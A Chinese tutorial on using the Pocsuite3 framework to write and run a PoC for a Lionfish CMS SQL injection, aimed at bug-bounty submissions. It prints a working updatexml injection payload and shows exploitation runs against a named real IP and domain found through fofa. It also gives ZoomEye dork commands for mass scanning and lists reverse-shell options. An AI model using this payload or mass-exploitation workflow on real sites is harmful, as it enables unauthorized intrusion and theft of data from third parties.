利用Pocsuite3进行远程漏洞测试​

  • A+
所属分类:安全文章

作者丨掌控安全-南极熊 


简介

Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。可以直接使用 Pocsuite 进行漏洞的验证与利用;


也可以基于 Pocsuite 进行 PoC/Exp 的开发,因为它也是一个 PoC 开发框架;还可以使用漏洞测试工具里直接集成 Pocsuite,它也提供标准的调用类。


这里不做详细的介绍,具体可以去官网查看:http://pocsuite.org/

功能介绍

Pocsuite3 采用 Python3 编写,支持验证,利用 及 shell 三种插件模式,你可以指定单个目标或者从文件导入多个目标,使用单个 PoC 或者 PoC 集合进行漏洞的验证或利用。

安装

Pocsuite 可以运行在 Python 3.x 版本的任何平台上。


你可以通过用 Git 来克隆代码仓库中的最新源代码

或者你可以点击 这里 下载最新的源代码 zip 包,并解压

  • $ wget https://github.com/knownsec/pocsuite3/archive/master.zip

  • $ unzip master.zip

  • $ cd pocsuite3

  • $ python cli.py —version

或者直接使用

  • $ pip install pocsuite3

  • $ pocsuite —version
    我们这里采用了pip进行安装,安装成功后,在cmd窗口中输入:pocsuite —version,看到版本号及安装成功。

利用Pocsuite3进行远程漏洞测试​

实战操作

具体可以参考官网:https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md

网上也有很多例子,但有的例子还需要自己搭建靶场环境,这无疑还没有开始学,就先放弃了。


所以我们可以直接利用现有的通用漏洞来进行操作。

1、寻找通用漏洞

我们可以在https://poc.wgpsec.org/(WgpSec POC文库)或其他漏洞平台上查找到通用的漏洞。

很多漏洞都提供了编写好的poc。

例如:我们这里找到一个CMS漏洞:狮子鱼CMS SQL注入漏洞:

利用Pocsuite3进行远程漏洞测试​

2、分析漏洞

狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞,报错注入点:
https://xxx.xxx.xx.xxx/index.php?s=apigoods/get_goods_detail&id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)
页面出现c4ca4238a0b923820dcc509a6f75849就是md5(1)的值,因此我们可以通过判断该值来判断页面是否存在SQL注入漏洞。

如下所示:

利用Pocsuite3进行远程漏洞测试​

3、编写POC(漏洞验证)

我们按照要求填写了相关是信息,由于没有找到相关是漏洞版本的信息,这里先这样填写,不影响后续的操作:

利用Pocsuite3进行远程漏洞测试​

verify(漏洞验证)部分编写:

这部分我们把md5(1)换成database()验证证明拿到库名即可,并不做深入的数据获取。

利用Pocsuite3进行远程漏洞测试​

5、 测试操作:

先把编写好的poc放到Pocsuite3/pocs目录下


主要是为了方便测试:我这里是放到我自己的安装路径:E:softwarepython3.8Libsite-packagespocsuite3pocs下


然后在fofa网站中搜索:”/seller.php?s=/Public/login”:


利用Pocsuite3进行远程漏洞测试​

我们先找几个手动进行验证一下,作为我们测试用例。


(官方建议使用3个成功和3个失败),这里只拿其中一个成功和一个失败作为例子:

利用Pocsuite3进行远程漏洞测试​

利用Pocsuite3进行远程漏洞测试​

打开cmd输入:pocsuite -r lionfish_apicontroller_login_sql-inj.py -u https://www.86cdt.cn —verify测试一下:发现没有漏洞

利用Pocsuite3进行远程漏洞测试​

测试输入:pocsuite -r lionfish_apicontroller_login_sql-inj.py -u https://47.104.132.238 —attack,试验成功:

利用Pocsuite3进行远程漏洞测试​

6、 批量操作:

接下来我们就可以使用命令进行批量验证了,先把找到的url地址保存到一个文件,并把文件放到路径pocsuite3/pocs目录中,进行验证:

利用Pocsuite3进行远程漏洞测试​

Exp(漏洞利用)部分编写:

利用Pocsuite3进行远程漏洞测试​
我们还是先使用上面2个url地址进行验证
输入:pocsuite -r lionfish_apicontroller_login_sql-inj.py -u https://www.86cdt.cn/ —attack

利用Pocsuite3进行远程漏洞测试​
输入:pocsuite -r lionfish_apicontroller_login_sql-inj.py -u https://47.104.132.238/ —attack

利用Pocsuite3进行远程漏洞测试​

可以看到数据库信息。
批量操作:pocsuite -r lionfish_apicontroller_login_sql-inj.py -f lion.txt -–attack

利用Pocsuite3进行远程漏洞测试​

最后我们结合ZoomEye语法进行批量操作:pocsuite -r lionfish_apicontroller_login_sql-inj.py —dork ‘/seller.php?s=/Public/login’ —max-page 2 —thread 20 –verify
这里的意思是使用ZoomEye搜索通用漏洞’/seller.php?s=/Public/login’,最多使用2页的数据,—thread 20分配20个线程。接下来输入Zoomeye注册的账号:

利用Pocsuite3进行远程漏洞测试​
输入完成后自动进行批量验证操作:

利用Pocsuite3进行远程漏洞测试​

常用操作命令:
—dork (默认为zoomeye搜索搜索引擎)
—dork-zoomeye 搜过关键字
—dork-shodan 搜索关键字
—dork-censys 搜索关键字
—max-page 多少页
—search-type 搜索类型选择API,Web or Host
—vul-keyword seebug关键词搜索
—ssv-id seebug漏洞编号
—lhost shell模式反弹主机
—lport shell模式反弹端口
—comparison 比较两个搜索引擎
—plugins 加载插件
—pocs-path poc地址
—threads 开启线程
—batch 自动默认选项
—requires 检测需要安装的模块
—quiet 没有logger
—ppt 隐藏敏感信息

7、 保存结果

我找了一下,发现并没有直接保存的方法。


所以这里自己写了一个保存的方法进行保存,格式可按照自己想要的进行保存。


利用Pocsuite3进行远程漏洞测试​

我这里按照ip地址作为文件名进行保存:

利用Pocsuite3进行远程漏洞测试​
文件内容如下:

利用Pocsuite3进行远程漏洞测试​

自动化提交

我们使用selenium提交到漏洞盒子中,脚本在掌控安全QQ群文件中,可以自己去下载,但是脚本不完善还需要自己重新修改编写:

1、这里还需要截图证明漏洞,我这里重新写了一个自动截图的方法,url地址文件可以通过poc编写时,再保存一个文件,这里自己补充。

利用Pocsuite3进行远程漏洞测试​

利用Pocsuite3进行远程漏洞测试​

文件名也是IP地址,到时候提交的时候好一一对应。

利用Pocsuite3进行远程漏洞测试​

使用selenium编写自动化脚本提交到漏洞盒子:


利用Pocsuite3进行远程漏洞测试​

利用Pocsuite3进行远程漏洞测试​

总结

Pocsuite还有很多其他的功能操作使用,网上也有很多相关博客和文章,可以自己去挖掘。


src要上分一般都是通过手动+goby+自动化等方式进行。


工具的使用的使用大大加快我们效率,但如果使用的工具需要花费太多的时间精力去编写和维护也会得不偿失。我们使用工具但又不迷信工具。


PS:我写的脚本也是存在瑕疵,这里漏洞名称是不能重复的,否则无法提交成功。


但页面无法直接获取企业名称,企业名称是一张图片,如果要获取得截取(下载)图片,然后通过OCR识别转换成文字,再保存。


需要花费更多时间和精力,我觉得没有必要,可以自己每次保存不同名字即可。


版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!


本文始发于微信公众号(网络安全编程与黑客程序员):利用Pocsuite3进行远程漏洞测试​

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: